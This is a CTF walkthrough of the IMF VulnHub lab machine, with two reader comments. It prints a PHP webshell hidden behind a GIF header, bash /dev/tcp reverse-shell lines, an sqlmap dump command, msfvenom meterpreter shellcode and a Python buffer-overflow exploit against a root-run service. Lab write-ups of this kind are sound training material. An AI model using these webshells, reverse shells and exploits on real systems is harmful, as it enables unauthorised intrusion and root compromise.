IMF Vulnhub Writeup [m4dm4n w/ n1h1l w/ pzyc0 w/ trickster0]

IMF is an amazing VM starting with easy flags and getting more difficult especially with gaining access. Many vulnerabilities in web application but not easily found in other VMs!



First of all, we would like to thank g3ck0m for creating this awesome VM and G0tmi1k for hosting it at VulnHub. So let’s see what IMF offers.


Hosts Discovery

Let’s start by enumerating hosts and find our IMF VM

arp-scan –localnet
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts ( 2c:6e:85:f0:06:cc (Unknown) d4:21:22:70:49:00 (Unknown) 00:0c:29:e4:2a:fe VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.855 seconds (89.67 hosts/sec). 4 responded

Active Information Gathering 

We continue by active info gathering.

nmap -sSV -p- -T4

Starting Nmap 7.30 ( ) at 2016-11-02 16:05 EDT
Nmap scan report for
Host is up (0.0016s latency).
Not shown: 65534 filtered ports
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:E4:2A:FE (VMware)

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 105.40 seconds

The only port that is open is 80 so let’s check our browser.


As you see there is an IMF website so let’s scan sub-dirs with dirb and nikto for known vulns.

dirb /usr/share/wordlists/dirb/big.txt

DIRB v2.22
By The Dark Raver

START_TIME: Wed Nov 2 16:10:52 2016
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt



—- Scanning URL: —-
+ (CODE:403|SIZE:299)

—- Entering directory: —-

—- Entering directory: —-

—- Entering directory: —-

—- Entering directory: —-

—- Entering directory: —-

END_TIME: Wed Nov 2 16:15:17 2016

nikto -C all -h
– Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port: 80
+ Start Time: 2016-11-02 16:14:00 (GMT-4)
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Fra

me-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ IP address found in the ‘location’ header. The IP is “”.
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is “”.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80
+ OSVDB-3233: /icons/README: Apache default file found.
+ 26165 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2016-11-02 16:15:52 (GMT-4) (112 seconds)
+ 1 host(s) tested

Nothing special here so let’s look at source code.

Gotcha! At contact page we find flag1 and some .js links that look like base64 encoded links. We enumerate 3 more names and e-mails at the same page.

This slideshow requires JavaScript.

flag1{YWxsdGhlZmlsZXM=} : allthefiles

flag2{aW1mYWRtaW5pc3RyYXRvcg==} : imfadministrator

As we expected, 3 images combined (allthefiles) decoded with base64 algorithm, hint as a secret sub directory

Gaining Access


As you see we found a login admin page so we need to check about injections, broken authentication, XSS etc.

In source code we can find the following comment:

<!– I couldn’t get the SQL working, so I hard-coded the password. It’s still mad secure through. – Roger –>

SQLi didn’t find to be an option so we tried to find credentials. First we discovered that the login error message was different for invalid username and password. By that we achieved to find the correct username due to the enumeration in the contact page and the right one was rmichaels.

We though about rockingyou form with hydra brute-forcing. After 2 and a half hours and a lot of frustration, a security cheat sheet from OWASP gave us the solution. PHP could bug occasionally by putting [] in the POST request form.

Burp Suite Time! After configuring our browser by changing network configuration settings with proxy settings and capturing our POST request, we edit the malicious request and forward it.


Fingers crossed and flag3 is ours!!


flag3{Y29udGludWVUT2Ntcw==} : continueTOcms
Welcome, rmichaels

That was obvious but lets dig deeper! There is a CMS that as we found is vulnerable at SQLinjection by appending ‘ in the URL.


After trying a lot of sqli blind we thought that sqlmap would do the job faster so we use the right flags for the tool with the right POST request headers. Our consumption is true and after checking the admin database we finally found a tutorials-incomplete sub-domain.

The final command that was used was:

sqlmap –headers=”User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4″ –cookie=”security=low; PHPSESSID=ju7kbr82d5dkbc4mqcpjgogop3″ -u ‘; –level=5 risk=3 -D admin -T pages -C id,pagename,pagedata –dump


There is an image and a little QR code. Let’s decrypt it with some online tool or a mobile app.


flag4{dXBsb2Fkcjk0Mi5waHA=} : uploadr942.php

Decryption gave us an upload form! Let’s get a reverse shell!


Hmmm. That was quite difficult. We tried a lot of techniques like appending double extensions or null characters but nothing seemed to work. Some kind of WAF was in play and we needed to exclude php functions like exec etc. and bypass the extension limits configured by the apache conf file .htaccess.

In the end we found a way in by creating a .gif file by inserting GIF89a hex header and  appending php code that WAF didn’t find as malicious. But the job was done!

echo ‘474946383961’ | xxd -r -p > exploit.gif
echo ‘<?php error_reporting(E_ALL); ini_set(‘display_errors’, 1);$file=$_GET[‘file’]; echo `$file`; ?>’ >> exploit.gif

We finally uploaded a malicious .gif. Then we found a random generated text in source code that we thought that was the file name.

<!– f90e2cc01199 –>

Right! File was up and ready to bring as LFI and in the end RCE! By going to the next URL:

we are able by appending commands in the end of URL to execute RCE. Let’s get a reverse shell!

echo “bash -i >& /dev/tcp/ 0>&1” > /var/www/html/hell

We set up the netcat listener and…!! WWW-DATA


Then we created a more persistent shell with meterpreter in msfvenom.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=4444 -f elf > /var/www/html/h4x0r.elf

and upload it via URL or wget from our www-data shell:

In our pwd we find the next flag and the next hint. Let’s find some way to r00t!

flag5{YWdlbnRzZXJ2aWNlcw==} : agentservices

First we enumerate file names containing agent and services.

find / -name agent 2>/dev/null


We run this command and an executable seems to be triggered asking us about ID. Seems like exploitation.
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID : lsdds
Invalid Agent ID

www-data@imf:/var/www/html/imfadministrator/uploads$ netstat -ant
netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0* LISTEN
tcp 0 0* LISTEN
tcp 0 0* LISTEN
tcp 176 0 CLOSE_WAIT

After running nc localnet 7788 agent ELF is triggered and as we see via ps -aux, agent is triggered by r00t.

We need to find a way to bring the file in our system cause the IMF vm doesn’t have gdb.

First let’s find (maybe?) the correct ID with ltrace command.

www-data@imf:/var/www/html/imfadministrator/uploads$ ltrace /usr/local/bin/agent
<imfadministrator/uploads$ ltrace /usr/local/bin/agent
__libc_start_main(0x80485fb, 1, 0xffcd86a4, 0x8048970 <unfinished …>
setbuf(0xf7718d60, 0) = <void>
asprintf(0xffcd85d8, 0x80489f0, 0x2ddd984, 0xf75800ec) = 8
puts(” ___ __ __ ___ ” ___ __ __ ___
) = 18
puts(” |_ _| \\/ | __| Agent” |_ _| \/ | __| Agent
) = 25
puts(” | || |\\/| | _| Reporting” | || |\/| | _| Reporting
) = 29
puts(” |___|_| |_|_| System\n” |___|_| |_|_| System) = 27

printf(“\nAgent ID : ”
Agent ID : ) = 12
“hehe\n”, 9, 0xf77185a0) = 0xffcd85de
strncmp(“hehe\n”, “48093572”, 8) = 1
puts(“Invalid Agent ID “Invalid Agent ID
) = 18
+++ exited (status 254) +++

Agent compares id with 48093572!


After hex dumping the ELF and reconstructing it with some xxd commands, we succeed to run it in our system.


xxd /usr/local/bin/agent

Attacker’s VM

cat rev | xxd -r >revo
chmod 777 revo

After creating 168*A + 4*B we crash ELF after bypassing Agent ID and by sending a BIG Submit Report! Seems like a usual BOF, so GDB and PEDA time!


We create a pattern python -c’ print “48093572\n” + “3\n” + “A”*168+”B”*4 +”CCCCCCCCCCCCCCCC”‘ and pass it as argument in GDB.


As you see we overwite EIP at 168 bytes and our shellcode seems to be at EAX. We find a call eax gadget at 0x8048563 with no protection measurements present.

We created our payload via msfvenom.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=4046 -f python -b “\x00\x0a\x0d”
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 98 (iteration=0)
x86/shikata_ga_nai chosen with final size 98
Payload size: 98 bytes
Final size of python file: 482 bytes
buf = “”
buf += “\xdb\xd5\xd9\x74\x24\xf4\x5d\x29\xc9\xba\xea\xef\x7f”
buf += “\xe2\xb1\x12\x83\xc5\x04\x31\x55\x16\x03\x55\x16\xe2”
buf += “\x1f\xde\xa4\x15\x3c\x72\x18\x89\xa8\x77\x2e\x4b\xa5”
buf += “\x99\x83\x14\x22\x02\x74\xd5\xe4\xb4\x81\xbd\xf6\xb6”
buf += “\x86\xf3\x7f\x57\xf2\x6d\x27\xc8\x52\x25\x5e\x09\x17”
buf += “\x04\xe0\x78\x9f\x2f\xe0\x6c\xa0\x4f\x69\x6f\x61\xa4”
buf += “\x65\xb1\x81\x37\xc5\x4c\x8b\xc8\x7e\x26\xf2\x50\x36”
buf += “\x34\x45\x61\xfb\xc5\x5a\x87”

and portforward the 7788 agent service port so that we run our python exploit script by running the following command in meterpreter:

portfwd add -l 7788 -p 7788 -r

Agent service is accesible by running nc localnet 7788 from our machine.

Time for creating our python script:

import socket
imf = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
imf.connect((‘localhost’, 7788))
#imf.connect((, 7788))


# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=4046 -f python -b “\x00\x0a\x0d”
buf = “”
buf += “\xbb\xa5\x3a\xe7\x33\xdb\xdc\xd9\x74\x24\xf4\x58\x33”
buf += “\xc9\xb1\x12\x31\x58\x15\x83\xc0\x04\x03\x58\x11\xe2”
buf += “\x50\x0b\x3c\xc4\x79\x3f\x81\x78\x17\xc2\xb5\x19\x6e”
buf += “\x23\x78\x65\xe7\xff\xeb\xa6\xaf\x01\xe9\x4e\xad\x01”
buf += “\xfe\x40\x38\xe0\x6a\x3b\x62\xb3\x3b\x94\x1b\xd2\xff”
buf += “\xd7\x9b\xa7\x07\x51\x9b\xd7\x07\xa1\x12\x34\xc6\x4a”
buf += “\x28\x7a\x2a\x80\x80\x01\x60\x19\xbb\x70\x9b\x83\x8d”
buf += “\x8f\xec\xb7\x3c\x0f\xf3\x59”

#nopsled+call eax
buf += “\x90″ * (168 – len(buf))+”\x63\x85\x04\x08\n”

#send exploit

print “Payload Sent |+| Check Sessions.”

Privilege Escalation

Remote PrivEsc

We set up again our metasploit LPORT and exploit -j.

We run our exploit and check our Sessions.



msf exploit(handler) > sessions -i 4
[*] Starting interaction with 4…

meterpreter > shell
Process 3740 created.
Channel 2 created.
/bin/sh: 0: can’t access tty; job control turned off
# whoami
# cd /root
# ls
Flag.txt TheEnd.txt
# cat Flag.txt
# cat TheEnd.txt


Congratulations on finishing the IMF Boot2Root CTF. I hope you enjoyed it.
Thank you for trying this challenge and please send any feedback.

Twitter: @g3ck0ma

Special Thanks
Binary Advice: OJ (@TheColonial) and Justin Stevens (@justinsteven)
Web Advice: Menztrual (@menztrual)
Testers: dook (@dooktwit), Menztrual (@menztrual), llid3nlq and OJ(@TheColonial)
# echo “R2gwc3RQcm90MGMwbHM=” | base64 -d

Local PrivEsc

In this occasion , we have a limited shell with no tty present and bash cannot set terminal process group (6187): Inappropriate ioctl for device.We try to spawn an interactive shell but with no python present to break the gail and perl failing at all , the privilege escalation process will be done in an nonfunctional manner.


Iptables and /var/www/ need sudo permissions to write and execute so any ssh tunneling and portforwarding techniques we use to make localhost:7788 listen on leaded us to dead ends.


Lets dig deeper and reverse it again.We use the following strategy and exploit /usr/local/bin/agent locally.


[Payload] + [152 – length(Payload)]*NOP + [Jump] + [168 – PayloadNOP -Jump]*NOP + [RET]


We know that we need 168 bytes to reach eip pointer and 4 bytes to overwite him.So we craft the following payload which contains our EGG (0xcafebabe)  in order to search this value in memory and have knowledge of the beginning of our buffer, a sequence of NOPs to reach eip and the value of the return address to jump (0x41414141)

root@m4dm4n # python -c 'print "48093572"; print "3"; print "\xbe\xba\xfe\xca" + "\x90"*164 + "AAAA"' > payload
root@m4dm4n # gdb ./revo –q


Eip crashes at 0x41414141 as we expected and our EGG was found in the eax register. Time to ROP the execution flow cause ASLR is on. We are lucky enough to found 0xcafebabe at the beginning of eax so no need of chaining , but as we searched in memory we found that at memory location 0xbffff35c the next 4 bytes of NOPs were overwritten by value of 0xbffff2c4. So we figure out that we have to pass a payload that after 152 bytes jumps 4 bytes in order to bypass that value(0xbffff2c4 – a pointer to the beginning of our payload) and continue NOPing till we reach EIP.

0xbffff2c4 - - - eax
0xbffff35c - - - the jmp eax we need to bypass
root@m4dm4n:# python -c 'print 0xbffff35c-0xbffff2c4'
root@m4dm4n # python -c 'print "48093572"; print "3"; print "\xbe\xba\xfe\xca" + "\x90"*148 + "\xeb\x04" + "\x90"*14 + "AAAA"' > /var/www/html/payload


We found a ‘call eax’ gadget  at 0x8048563 so we have to overwrite eip with that value and jump to our arbitrary code. Lets create a file m4droot that echoes something and use msfvenom to create a payload that executes the file.

root@m4dm4n # msfvenom -p linux/x86/exec CMD='./m4droot' -f bash -b "\x00\x0a\x0d"

Payload size: 72 bytes

export buf=\
root@m4dm4n # python -c 'print "48093572"; print "3"; print  + "\x90"*152 + "\xeb\x04" + "\x90"*14 + "\x63\x85\x04\x08"' > /var/www/html/payload

lets see what happened in memory.We disass report function and put a break at 0x0804896d which is a ret instruction.


root@m4dm4n: python -c 'print "48093572"; print "3"; print "\xda\xcb\xbd\xa7\x4c\xcc\xee\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x0c\x83\xef\xfc\x31\x6f\x14\x03\x6f\xb3
\x26\xdc\xf2\x79\xc7\x2f\x74" + "\x90"*80 + "\xeb\x04" + "\x90"*14 + "\x63\x85\x04\x08"' > /var/www/html/payload


root@m4dm4n:~/Desktop/vulnhub/IMF# gdb ./revo -q
Reading symbols from ./revo...(no debugging symbols found)...done.
gdb-peda$ r < /var/www/html/payload
Starting program: /root/Desktop/vulnhub/IMF/revo < /var/www/html/payload


Its seems that our exploit WINS so lets make our POC in the remote machine. We create a file containing a reverse shell and execute it via our exploit .

www-data@imf:/tmp/an0ncore$ wget
www-data@imf:/tmp/an0ncore$ printf '#!/usr/bin/env bash\nbash-i >&
                                     /dev/tcp/ 0>&1' > m4droot
www-data@imf:/tmp/an0ncore$ cat m4droot
#!/usr/bin/env bash
bash -i >& /dev/tcp/ 0>&1

www-data@imf:/tmp/an0ncore$ chmod +x m4droot

Here we have to notice that this agent is running as root ONLY at localhost:7788

www-data@imf:/tmp/an0ncore$ Cat payload >&1 | nc localhost 7788
root# cat Flag.txt | cut -d '{' -f 2 | cut -d '}' -f 1 | base64 -d; printf '\n\n'


IMF is an amazing VM starting with easy flags and getting more difficult especially with gaining access. Many vulnerabilities in web application but not easily found in other VMs!

G3ck0m keep up the good work!


Feel free to contact us by sending an e-mail at  INCOPSY[at]GMAIL[point]COM.

2 thoughts on “IMF Vulnhub Writeup [m4dm4n w/ n1h1l w/ pzyc0 w/ trickster0]”

  1. Hi, first of all, thanks for writing this walkthrough, it’s been really helpful.
    I’m kind of new at this, so at one point I got a little lost. When you’re debugging the agent program, you say “We create a pattern python -c’ print “48093572\n” + “3\n” + “A”*168+”B”*4 +”CCCCCCCCCCCCCCCC”‘ and pass it as argument in GDB.”, then there is a screenshot. I’m not being able to get there. Could you specify the commands you use to start the debugger with the string argument and to get to that screenshot where you see registers and stack? I would really appreciate it.

    Liked by 1 person

    1. Hello there , we really apreciate your feedback . You just need to tell gdb inside to run the elf with specific arguments.In our case we need to pass 48093572 , 3 and our shellcode . So the commands should look like:
      python -c ‘print “something you want”‘ > payload
      and then inside gdb:
      run < payload
      This is a general rule when the binary has multiple inputs.
      For more questions or specifications pls let us know , we are glad to help you!
      An0ncore Team


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s